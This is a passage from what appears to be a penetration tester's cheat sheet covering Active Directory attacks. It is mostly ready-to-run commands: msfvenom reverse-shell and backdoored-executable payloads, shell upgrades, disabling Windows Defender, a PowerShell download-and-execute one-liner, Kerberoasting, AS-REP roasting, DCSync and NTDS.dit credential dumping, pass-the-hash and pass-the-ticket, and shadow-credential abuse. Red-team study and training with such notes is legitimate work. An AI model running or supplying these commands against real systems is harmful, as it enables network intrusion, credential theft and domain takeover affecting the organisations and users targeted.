msfvenom -p windows/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f asp > rev_shell.asp

# Java Web Shells
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > nameoffile.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f war > nameoffile.war

# BACKDOOR-ed EXECUTABLES
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -k -x <INPUT_FILE> -e x86/shikata_ga_nai -a x86 --platform windows -o <OUTPUT_FILE> -i 5

Shell Upgrade

# Best Upgrade
for i in python3 python python2 ; do command -v "$i" >/dev/null && "$i" -c 'import pty; pty.spawn("/bin/bash")' && exit ; done
# Others
script /dev/null -c /bin/bash
/bin/bash -i
find . -exec /bin/bash -p \; -quit
awk 'BEGIN {system("/bin/bash")}'
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'
vim -c ':!/bin/bash' -c ':qa!'
lua -e 'os.execute("/bin/bash")'

# ---

export TERM=xterm-256color

CTRL+Z
stty raw -echo ; fg

# Resize terminal size
echo "MAKE SURE THIS IS RAN ON ATTACKER BOX, THEN...\n\nON TARGET SHELL:\nstty rows $(tput lines) columns $(tput cols)"

6 - Post-Exploitation

Active Directory

Notes

Authentication Protocol Selection

MethodAuthentication ProtocolEncryptionLimitations
IP Address (e.g., 192.168.1.10)NTLMRC4, NTLMv2No Kerberos support, may be blocked by policies, more logging/alerting
Hostname/FQDN (e.g., DC01.cooldomaininc.local)Kerberos (TGT/TGS)AES-128, AES-256, RC4Requires DNS resolution, subject to Kerberos delegation restrictions (Double Hop problem)

Domain Enumeration

# Get Domain Info
net config workstation
ipconfig /all
echo %USERDOMAIN%
echo %LOGONSERVER%
(Get-WmiObject Win32_ComputerSystem).Domain
systeminfo | findstr /i domain

User Enumeration (Kerbrute)

“A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication”

See more about… User Enum

Source: Docs > 5 - Exploitation > password#user-enum

User Enum

All of these use anonymous sessions, but credentials can be tried as well.

# via enum4linux-ng (this uses RPC)
enum4linux-ng -U <TARGET> | grep "username:" | cut -f2 -d"[" | cut -f1 -d"]"

# via RPC
rpcclient -U '<USER>%<PASSWORD>' -c 'enumdomusers;quit' <TARGET> | tee rpcclient_log
grep -o 'user:\[[^]]*\]' rpcclient_log | cut -d '[' -f2 | cut -d ']' -f1 > domain_users.txt

# via SMB
netexec smb <TARGET> --users

# via LDAP anon bind
# https://linux.die.net/man/1/ldapsearch
# Filters: https://gist.github.com/jonlabelle/0f8ec20c2474084325a89bc5362008a7
ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "

# Uses Kerberos Pre-Auth (no auth log): https://ldapwiki.com/wiki/Wiki.jsp?page=Kerberos%20Pre-Authentication
# LOGS: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768
# for <WORDLIST>: wget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt
kerbrute userenum -d <DOMAIN> --dc <DC_IP> <WORDLIST>
# Use a userlist
wget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt

# AD Username Brute-Force
kerbrute userenum --dc <DC_IP> -d <DOMAIN_NAME> <USERNAME_LIST>

Find High Value Users

# via SMB
nxc smb <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins"
# via LDAP
# gets objects with adminCount=1, which includes DAs, Enterprise Admins, Backup Ops, etc.
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --admin-count

AD Enumeration

BloodHound

BloodHound is THE TOOL for AD enumeration. “[L]everages graph theory to reveal hidden and often unintended relationships across identity and access management systems…” visually along with other pre-built queries to find weakness in domain structures.

Pre-Requisites

# Start and reset password for BloodHound via Docker
bloodhound-cli check
bloodhound-cli up
bloodhound-cli resetpwd

Collecting Info

# Bloodhound/SharpHound - AD Mapping
powershell -ep bypass
Import-Module .\Downloads\SharpHound.ps1    
Invoke-Bloodhound -ZipFileName bh_logs.zip -CollectionMethod All -Domain <DOMAIN> 
# - OR

# SharpHound.exe alternative
.\SharpHound.exe --zipfilename bh_logs.zip -c All -d <DOMAIN>

Uploading Info

  • Transfer Bloodhound data to attacker
  • Upload zipfile to Bloodhound: http://127.0.0.1:8080/ui/login
  • Upload to Bloodhound: http://127.0.0.1:8080/ui/administration/file-ingest

Analysis and Queries

# Search Box >

domain:<DOMAIN>

### Pre-Built Queries
# Domain Info > Analysis >

# Out-of-date Computers (for Exploits)
Find Computers with Unsupported Operating Systems

# Find Logged-In/Cached Domain Admins
Find Computers where Domain Users are Local Admin

PowerShell

# Look for module (typically only on DC and some servers)
Get-Module -ListAvailable ActiveDirectory

# Import AD Module
Import-Module ActiveDirectory

# Basic domain info
# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addomain?view=windowsserver2022-ps
Get-ADDomain

# Search for Kerberoastable accounts (requires Domain user)
# (request a TGS for a service in an attempt to crack the service's password, which its hash is used to encrypt the TGS)
# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2022-ps
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

# Verify domain trust relationships
# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adtrust?view=windowsserver2022-ps
Get-ADTrust -Filter *

# Group Enumeration
# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps
Get-ADGroup -Filter * | select name
Get-ADGroup -Identity "<GROUP_NAME>"
# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroupmember?view=windowsserver2022-ps
Get-ADGroupMember -Identity "<GROUP_NAME>"

PowerView (deprecated)

Although “dated” code-wise and heavily flagged by Security Products the underlying LDAP queries have not changed, and it is still functional.

# Enum users
# https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainUser/
Get-DomainUser -Identity <USER> -Domain <DOMAIN> | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol

# Enum Domain Admins
# https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainGroupMember/
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# Enum Domain Trusts
Get-DomainTrustMapping

# Test Admin access locally or remotely
# https://powersploit.readthedocs.io/en/latest/Recon/Test-AdminAccess/
Test-AdminAccess -ComputerName <MACHINE>

# Kerberostable accounts
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName

SharpView

.NET port of PowerView… usually has same functions and syntax. Useful when a host or network has PowerShell hardening.

Living Off the Land (Native Binaries)

Typically, these log less and not flagged as much as pulling external tools. Especially in offline or segmented environments these can be more useful.

See more about… Windows Defender, Windows Firewall

Source: Docs > 6 - Post-Exploitation > security-products#windows-defender

Windows Defender

# Check WinDefend service
sc.exe query windefend

# Check Status
Get-MpComputerStatus

# Enable WinDefend
Set-MpPreference -DisableRealtimeMonitoring $false
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $false"

# Disable WinDefend realtime monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"

Source: Docs > 6 - Post-Exploitation > security-products#windows-firewall

Windows Firewall

# Show state of all profiles
netsh advfirewall show allprofiles
# Add Firewall Exception
netsh advfirewall firewall add rule name=<NAME> dir=in action=allow protocol=TCP localport=<PORT>

Initial Survey

DOS Version

# Am I Alone??
quser
qwinsta

# All-in-1 Info Command
systeminfo

# Hostname, Domain, DC, net interfaces, env vars
hostname
echo %USERDOMAIN%
echo %logonserver%
ipconfig /all
set
# OS Version
ver.exe
# Security Patches (Hotfixes)
wmic qfe get Caption,Description,HotFixID,InstalledOn

# Network Information
ipconfig /all
arp -a
route print
netstat -anob
netsh advfirewall show allprofiles

WMI Version

# Basic Host Info
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List

# Basic Domain Info
wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress

# Security Patches
wmic qfe get Caption,Description,HotFixID,InstalledOn

# Process List
wmic process list /format:list

# Domain and DC Info
wmic ntdomain list /format:list

# Users on the Domain
wmic useraccount list /format:list

# Local Groups Info
wmic group list /format:list

# System Accounts Info
wmic sysaccount list /format:list

net Version

These could be potentially heavily monitored. Try net1 instead of net will execute the same functions without the potential trigger from the net string.

# Information about password requirements
net accounts

# Password and lockout policy
net accounts /domain

# Information about domain groups
net group /domain

# List users with domain admin privileges
net group "Domain Admins" /domain

# List of PCs connected to the domain
net group "Domain Computers" /domain

# List PC accounts of domains controllers
net group "Domain Controllers" /domain

# User that belongs to the group
net group <DOMAIN_GROUP> /domain

# List of domain groups
net groups /domain

# All available groups
net localgroup

# List users that belong to the administrators group inside the domain
net localgroup administrators /domain

# Information about a group (admins)
net localgroup Administrators

# Add user to administrators
net localgroup administrators <USER> /add

# Check current shares
net share

# Get information about a user within the domain
net user /domain <USER>

# List all users of the domain
net user /domain

# Information about the current user
net user %username%

# Mount the share locally
net use Z: \\<TARGET>\<SHARE>

# Get a list of computers
net view

# Shares on the domains
net view /all /domain[:<DOMAIN>]

# List shares of a computer
net view \\<TARGET> /ALL

# List of PCs of the domain
net view /domain

dsquery Version

Native tool to find AD objects. Only exists on hosts installed with Active Directory Domain Services Role and at C:\Windows\System32\dsquery.dll.

# Query all users or computers
dsquery user
dsquery computer

# Query filter for all users in a Domain
dsquery * "CN=Users,DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>"

# Users With Specific Attributes Set (PASSWD_NOTREQD)
# 1.2.840.113556.1.4.803:=32 means PASSWD_NOTREQD must be set
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl

# Search DCs in Current Domain
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName

# Search disabled accounts
dsquery * -filter "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=2)(adminCount=1)(description=*))" -limit 5 -attr SAMAccountName description
User Account Control Bit Values

User Account Control Bit Values

PowerShell Version

See more about… Bypass Execution Policy

Source: Docs > 6 - Post-Exploitation > security-products#bypass-execution-policy

Bypass Execution Policy

# Get Current PS Execution Policy
Get-ExecutionPolicy -List

# Override
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
Get-Module
Get-ExecutionPolicy -List
Set-ExecutionPolicy Bypass -Scope Process
Get-ChildItem Env: | ft Key,Value
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
# Pull any other tools via HTTP
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('<DOWNLOAD_URL>');"

Access Control List (ACL)

  • ObjectAceType Permissions: https://learn.microsoft.com/en-us/windows/win32/adschema/extended-rights

  • ForceChangePassword abused with Set-DomainUserPassword

  • Add Members abused with Add-DomainGroupMember

  • GenericAll abused with Set-DomainUserPassword or Add-DomainGroupMember

  • GenericWrite abused with Set-DomainObject

  • WriteOwner abused with Set-DomainObjectOwner

  • WriteDACL abused with Add-DomainObjectACL

  • AllExtendedRights abused with Set-DomainUserPassword or Add-DomainGroupMember

  • AddSelf abused with Add-DomainGroupMember

Top ACL Attacks

  • ForceChangePassword - gives us the right to reset a user’s password without first knowing their password (should be used cautiously and typically best to consult our client before resetting passwords).
  • GenericWrite - gives us the right to write to any non-protected attribute on an object. If we have this access over a user, we could assign them an SPN and perform a Kerberoasting attack (which relies on the target account having a weak password set). Over a group means we could add ourselves or another security principal to a given group. Finally, if we have this access over a computer object, we could perform a resource-based constrained delegation attack which is outside the scope of this module.
  • AddSelf - shows security groups that a user can add themselves to.
  • GenericAll - this grants us full control over a target object. Again, depending on if this is granted over a user or group, we could modify group membership, force change a password, or perform a targeted Kerberoasting attack. If we have this access over a computer object and the Local Administrator Password Solution (LAPS) is in use in the environment, we can read the LAPS password and gain local admin access to the machine which may aid us in lateral movement or privilege escalation in the domain if we can obtain privileged controls or gain some sort of privileged access.
ACL Attacks

by https://x.com/_nwodtuhs

Enumerating ACLs of User

BloodHound

  1. Select starting node user
  2. Select Node Info > Scroll to Outbound Control Rights
  3. First Degree Object Control
    1. Right-Click edge > Help for more info
  4. Transitive Object Control
  5. Analysis > Dangerous Rights

PowerView

# Enum ACLs of User
Import-Module .\PowerView.ps1
$sid = Convert-NameToSid <USER>
# Pay Attention to ObjectAceType and ActiveDirectoryRights
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} -Verbose

# Get Group Membership of User
Get-DomainGroup -Identity "<GROUP>" | select memberof

REPEAT Get-DomainObjectACL of Group

Manual

WARNING: These commands are very slow

# Create list of Domain Users
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
# Iterate over users to find filtered ACL
foreach($line in [System.IO.File]::ReadLines(".\ad_users.txt")) {get-acl  "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match '<DOMAIN>\\<USER>'}}

# Manually resolve ACL (ObjectAceType) GUIDs
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq "<GUID>"} | fl

Checking Access Rights

Remote Desktop

# Check if machine is RDP-able
Import-Module .\PowerView.ps1
Get-NetLocalGroupMember -GroupName "Remote Desktop Users" -ComputerName <COMPUTER_NAME>
  • BloodHound CanRDP:
    • Search for User > Node Info > Execution Rights
    • Analysis
      • Find Workstations where Domain Users can RDP
      • Find Servers where Domain Users can RDP

WinRM

# Check if machine is WinRM-able
Import-Module .\PowerView.ps1
Get-NetLocalGroupMember -GroupName "Remote Management Users" -ComputerName <COMPUTER_NAME>
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2

SQL

# Enumerate MSSQL instances on the domain
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain

Get-SQLQuery -Verbose -Instance "<TARGET>,1433" -username "<DOMAIN>\<USER>" -password "<PASSWORD>" -query 'Select @@version'
impacket-mssqlclient -windows-auth <DOMAIN>/<USER>:'<PASSWORD>'@<TARGET>
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2

Domain Misconfigurations

DNS Record Enumeration (adidnsdump)

Resolves hidden records in the DNS zone that standard enumeration misses.

# Dump all DNS records (Authenticated)
adidnsdump -vr -u <DOMAIN>\<USER> -p <PASSWORD> ldap://<DC_IP>

# Resolve unknown records (A Query)
adidnsdump -u <DOMAIN>\<USER> -p <PASSWORD> ldap://<DC_IP> -r

User Attributes Mining

Hunting for passwords in descriptions and weak account configurations.

# Find Passwords in Description Field
Import-Module .\PowerView.ps1
Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null}

# Find PASSWD_NOTREQD Accounts
# Users not subject to password policy length (potential blank passwords)
# https://ldapwiki.com/wiki/Wiki.jsp?page=PASSWD_NOTREQD
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

SYSVOL & Group Policy Passwords

Searching for hardcoded credentials in scripts and registry preferences.

# 1. Manual Check (PowerShell)
ls \\<DC_NAME>\SYSVOL\<DOMAIN>\scripts

# 2. Automated Hunt (NetExec) - GPP Autologin & Registry
nxc smb <TARGET_IP> -u <USER> -p <PASSWORD> -M gpp_autologin
nxc smb <TARGET_IP> -u <USER> -p <PASSWORD> -M gpp_password

Printer Bug Enumeration (Spooler Service)

Checks if the Print Spooler is running on the DC (required for coercion attacks like PetitPotam/PrinterBug).

# SecurityAssessment.ps1
git clone https://github.com/itzvenom/Security-Assessment-PS && cd Security-Assessment-PS
Import-Module .\SecurityAssessment.ps1
Get-SpoolStatus -ComputerName <DC_FQDN>

Exchange Privilege Escalation

Abusing Exchange Windows Permissions group.

Reference: https://github.com/gdedrouas/Exchange-AD-Privesc

Getting Access Credentials

Kerberoasting (cracking TGS)

Kerberoasting involves any valid domain user requesting a Ticket Granting Service (TGS) for an SPN. The TGS is encrypted with the service’s NTLM password hash, which if a human-readable password was set, can be cracked to reveal a password. The service is often times a local administrator. The key point is this technique must use password cracking to reveal the password; otherwise, only the TGS and an authorized user can access the service . Hence, an uncrackable password will prove fruitless. One must have 1 of the following:

  • an account’s cleartext password or NTLM hash
  • a shell in the context of a domain user account (Kerberos ticket)
  • SYSTEM level access on a domain-joined host

TGS Encryption Types

Encryption TypeHashcat ModeHash FormatNotes
RC413100$krb5tgs$23$*Most common in most environments. Type 23 encrypted ticket.
AES-12819600$krb5tgs$17$*Type 17 encrypted ticket.
AES-25619700$krb5tgs$18$*Sometimes received. Type 18 encrypted ticket.

Linux

Impacket GetUserSPNs

# Enum users and collect tickets
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER>
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER> -request -outputfile spn_tickets.txt

Crack TGS

# Crack TGS
hashcat -m <HASHCAT_MODE> spn_tickets.txt <WORDLIST>

# Verify via netexec
netexec smb <DC_IP> -u <USER> -p <PASSWORD>

Windows

via Rubeus

# Show Kerberoastable info
.\Rubeus.exe kerberoast /stats

# Show Kerberoastable admins
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

# Kerberoast User
# NOTE: /tgtdeleg attempts to force RC4 enc
.\Rubeus.exe kerberoast /nowrap /tgtdeleg /user:<USER>

NOTE: This RC4 downgrade does not work against a Windows Server 2019 Domain Controller. It will always return a service ticket encrypted with the highest level of encryption supported by the target account

via PowerView

# Enumerate SPN Accounts
Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname,description
# Get TGS for User
Get-DomainUser -Identity <USER> | Get-DomainSPNTicket -Format Hashcat
# Get ALL TGS
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv -NoTypeInformation .\<OUTFILE>

via Manual Method

# REQUIRED: declare new type
Add-Type -AssemblyName System.IdentityModel

# Request and load all TGS for all SPNs into memory
# NOTE: these will need to be dumped from memory
setspn.exe -T <DOMAIN> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

# Dump TGS from memory
.\mimikatz.exe
base64 /out:true
kerberos::list /export

# Format Base64 TGS
echo '<TGS_BASE64>' | tr -d \\n | base64 -d > vmware.kirbi
kirbi2john vmware.kirbi > crackme.txt

Reference: Crack TGS

AS-REP Roasting

Windows

# Enumerate Vulnerable Users (PowerView)
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl

# Roast Specific User (Rubeus)
.\Rubeus.exe asreproast /nowrap /format:hashcat /user:<USERNAME>

Linux

# Linux Alternative (Kerbrute)
# Brute-force users AND auto-check for AS-REP Roasting
kerbrute userenum -d <DOMAIN> --dc <DC_IP> <USERLIST>

DCSync

Steals the Active Directory password database by using the built-in Directory Replication Service Remote Protocol, which is used by Domain Controllers to replicate domain data, allowing an attacker to mimic a DC to retrieve user NTLM password hashes.

Output Filessecretsdump ContentPrimary Use Case
.ntdsNTLM Hashes.
Format: User:RID:LM:NT:::.
Pass-the-Hash, Offline Cracking (Hashcat Mode 1000).
.ntds.kerberosKerberos Keys (AES-256, AES-128, DES).Golden Tickets (requires krbtgt AES key), Pass-the-Key (if NTLM is disabled).
.ntds.cleartextPlaintext Passwords.
Only appears for users with “Store password using reversible encryption” enabled.
Direct Login (RDP, WinRM). Rare but critical finding.

Enum via PowerView

# Pay Attention to objectsid
Import-Module .\PowerView.ps1
Get-DomainUser -Identity <USER> | select samaccountname,objectsid,memberof,useraccountcontrol | fl

# Look for DS-Replication-Get-Changes-All
Get-ObjectAcl "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match "<SID>"} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

Attack via Impacket

Remember this user must have the permissions stated above.

  • -just-dc-ntlm: Extract only NTLM hashes (skips Kerberos keys).
  • -just-dc-user <USERNAME>: Extract data for a specific user only.
  • -pwd-last-set: Display when the account’s password was last changed.
  • -history: Dump password history (useful for cracking patterns).
  • -user-status: Display if the account is Enabled or Disabled.
# NOISY: Dump All
impacket-secretsdump -outputfile dcsync_hashes -just-dc <DOMAIN>/<USER>:<PASSWORD>@<TARGET>

# QUIETER: dump krbtgt for Golden Tickets
impacket-secretsdump -outputfile dcsync_hashes -just-dc-user krbtgt <DOMAIN>/<USER>:<PASSWORD>@<TARGET>

Attack via mimikatz

See more about… DCSync

Source: Docs > 9 - Notes > mimikatz#dcsync

DCSync

Might require runas.

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\<USER>" exit

Get NTDS.dit (keys of the kingdom)

# Copy NTDS.dit
# NOTE: hashes in NTDS are encrypted with DPAPI key in SYSTEM
vssadmin list shadows
vssadmin CREATE SHADOW /For=C:
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<NUM>\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit

# Download it and impacket-secretsdump
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
# Same as above but easier
netexec smb <TARGET> -u <ADMIN_USER> -p <PASSWORD> -M ntdsutil

Escalating and Pivoting

Pass the Key (PtK) / OverPass the Hash (OtH)

Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.

Preparation

# Extract AES Keys
.\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit

Option A: Mimikatz (Process Injection)

# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.
# Can use /ntlm, /aes128, or /aes256
sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe

Option B: Rubeus (Request & Inject)

# Requests a TGT from the KDC and immediately injects it (/ptt)
# Can use /rc4 (NTLM), /aes128, or /aes256
.\Rubeus.exe asktgt /ptt /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY>

Pass the Ticket (PtT)

Windows

Mimikatz

# 1. Export tickets from memory to .kirbi files
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
# $ : machine tickets (computers)
# @ : service tickets (users)

# 2. Inject Ticket
.\mimikatz.exe "kerberos::ptt <TICKET_FILE.kirbi>" "misc::cmd" exit

Rubeus

# Enumerate tickets currently in session
.\Rubeus.exe triage

# Export tickets to base64 (for copy-paste)
.\Rubeus.exe dump /nowrap

# Pass from File
.\Rubeus.exe ptt /ticket:"<TICKET_FILE.kirbi>"

# Pass from Base64 String
.\Rubeus.exe ptt /ticket:"<BASE64_STRING>"

# Convert File to Base64 (PowerShell Helper)
[Convert]::ToBase64String([IO.File]::ReadAllBytes("<TICKET_FILE.kirbi>"))

# Advanced: Extract & Pass John's ticket automatically (Regex One-Liner)
$raw = .\Rubeus.exe dump /user:john /nowrap | Out-String
$ticket = [Regex]::Match($raw, "(?s)Base64EncodedTicket\s*:\s*(.*)").Groups[1].Value.Trim() -replace "\s", ""
.\Rubeus.exe ptt /ticket:$ticket

Linux

klist
# Backup current keytab
cp -v $(echo $KRB5CCNAME | cut -d ':' -f 2) KEYTAB.BAK
# Use current keytab
export KRB5CCNAME=KEYTAB.BAK
# Enumerate AD information
# https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/windows_integration_guide/cmd-realmd
realm list

# Check for AD
grep -i "sss\|winbind\|ldap" /etc/nsswitch.conf
ps -ef | grep -i "winbind\|sssd"
env | grep -i krb5

# Find keytabs
sudo find / \( -iname '*keytab*' -o -iname '*.kt' \) -ls 2>/dev/null

# List cached Kerberos tickets
klist
# Backup current keytab
cp -v $(echo $KRB5CCNAME | cut -d ':' -f 2) current.kt.bak
# Use current keytab
export KRB5CCNAME=$(pwd)/current.kt.bak

# Extract hashes from keytab files
# https://github.com/sosdave/KeyTabExtract
python3 keytabextract.py <KEYTAB_FILE>

# Use keytab
# NOTE: not all cached keytabs are valid
ls -la /tmp/krb5cc*
cp -v <KEYTAB> $HOME/current.kt.bak
export KRB5CCNAME=$HOME/current.kt.bak

# Show keytabs
klist
# Use keytab
kinit -k '<NAME>'

smbclient //<TARGET>/C$ -k -no-pass -c 'ls'

Double Hop Problem

There’s an issue known as the “Double Hop” problem that arises when an attacker attempts to use Kerberos authentication across two (or more) hops. The issue concerns how Kerberos tickets are granted for specific resources. Kerberos tickets should not be viewed as passwords. They are signed pieces of data from the KDC that state what resources an account can access (e.g. a computer but not beyond that computer). When we perform Kerberos authentication, we get a “ticket” that permits us to access the requested resource (i.e., a single machine). On the contrary, when we use a password to authenticate, that NTLM hash is stored in our session and can be used elsewhere without issue.

Enumeration of the Problem

Use these commands to confirm you are in a “Double Hop” / Network Logon state where delegation is failing.

CommandOutput IndicatorMeaning
klistMissing krbtgt/DOMAINYou have no TGT. You cannot request tickets for other servers.
klistPresent HTTP/HostnameYou only have a service ticket for the current box.
mimikatzPassword : (null)LSASS has no cached credentials for your session.
dir \\DC01\C$Access is denied / Anonymous LogonThe target sees you as “Anonymous” because no creds were forwarded.

Mitigation Methods

Method 1: Pass Credential Object (Handout / Native)

Best for “Living off the Land” without uploading tools. Requires knowing the plaintext password.

# 1. Create the Credential Object
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $pass)

# 2. Execute command on the 2nd Hop using the Credential
Invoke-Command -ComputerName <MACHINE_NAME> -Credential $cred -ScriptBlock { Get-Process }

# 3. Or enter an interactive session
Enter-PSSession -ComputerName <MACHINE_NAME> -Credential $cred

Method 2: Register PSSession Configuration (Admin)

Requires Admin on the Jump Box. Sets up a permanent endpoint that auto-authenticates.

# 1. Register the Session (On Jump Box)
Register-PSSessionConfiguration -Name "<SESSION_NAME>" -RunAsCredential "<DOMAIN>\<USER>" -Force

# 2. Connect to it (From Attack/Start Box)
Enter-PSSession -ComputerName <MACHINE_NAME> -ConfigurationName "<SESSION_NAME>"

# 3. Verify
klist # You should now see the krbtgt ticket

Method 3: Rubeus / Overpass-the-Hash (Attacker / Modern)

Best if you have a Hash or AES Key. Injects a TGT into your current session, “fixing” the double hop instantly.

# 1. Inject a TGT using the hash (or AES key)
.\Rubeus.exe asktgt /user:<USER> /domain:<DOMAIN> /rc4:<NTLM_HASH> /ptt

# 2. Verify
klist # You now have a krbtgt ticket

# 3. Pivot
ls \\<DC_NAME>\C$ # Works natively now

Method 4: Mimikatz PtH (Legacy / Risky in WinRM)

Mimikatz usually spawns a new window (which fails in WinRM). You must force it to run a command in the same console.

# /run:powershell might hang WinRM depending on the shell stability.
# Use Rubeus (Method 3) if possible.
mimikatz.exe "sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<HASH> /run:powershell" exit

Create Fake SPN

Create a fake SPN to Kerberoast a user. This will require proper enumeration and a vector to have the right privileges.

See more about… Change User Password via PowerView

Source: Docs > 6 - Post-Exploitation > nice-commands#change-user-password-via-powerview

Change User Password via PowerView

# Authenticate as privileged user
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)

# Create NEW password of other account
$newPassword = ConvertTo-SecureString '<NEW_PASSWORD>' -AsPlainText -Force

# Set NEW password
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity <USER> -AccountPassword $newPassword -Credential $Cred -Verbose
# Add User to Group
Add-DomainGroupMember -Identity '<GROUP>' -Members '<USER>' -Credential $Cred -Verbose

# Remove User from Group
Remove-DomainGroupMember -Identity "<GROUP>" -Members '<USER>' -Credential $Cred -Verbose

# Verify Group Membership or Removal
Get-DomainGroupMember -Identity "<GROUP>" | Select MemberName

# Authenticate
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$CredSPN = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)

# Create SPN
Set-DomainObject -Credential $CredSPN -Identity <USER> -SET @{serviceprincipalname='<SPN_NAME>'} -Verbose

Cleanup

# Remove fake SPN
Set-DomainObject -Credential $CredSPN -Identity <USER> -Clear <SPN_NAME> -Verbose

Pass the Certificate (PtC)

Shadow Credentials Attack:

# https://specterops.io/blog/2021/06/17/shadow-credentials-abusing-key-trust-account-mapping-for-account-takeover/
# https://github.com/ShutdownRepo/pywhisker.git
git clone https://github.com/ShutdownRepo/pywhisker.git && cd pywhisker && pip3 install -r requirements.txt && cd pywhisker

# Get Certificate for user
python3 pywhisker.py --dc-ip <DC_IP> -d <DOMAIN> -u <USER> -p '<PASSWORD>' --target <NEW_USER> --action add
# creates .pfx file of <NEW_USER> and PFX password
# Intercept web enrollment requests
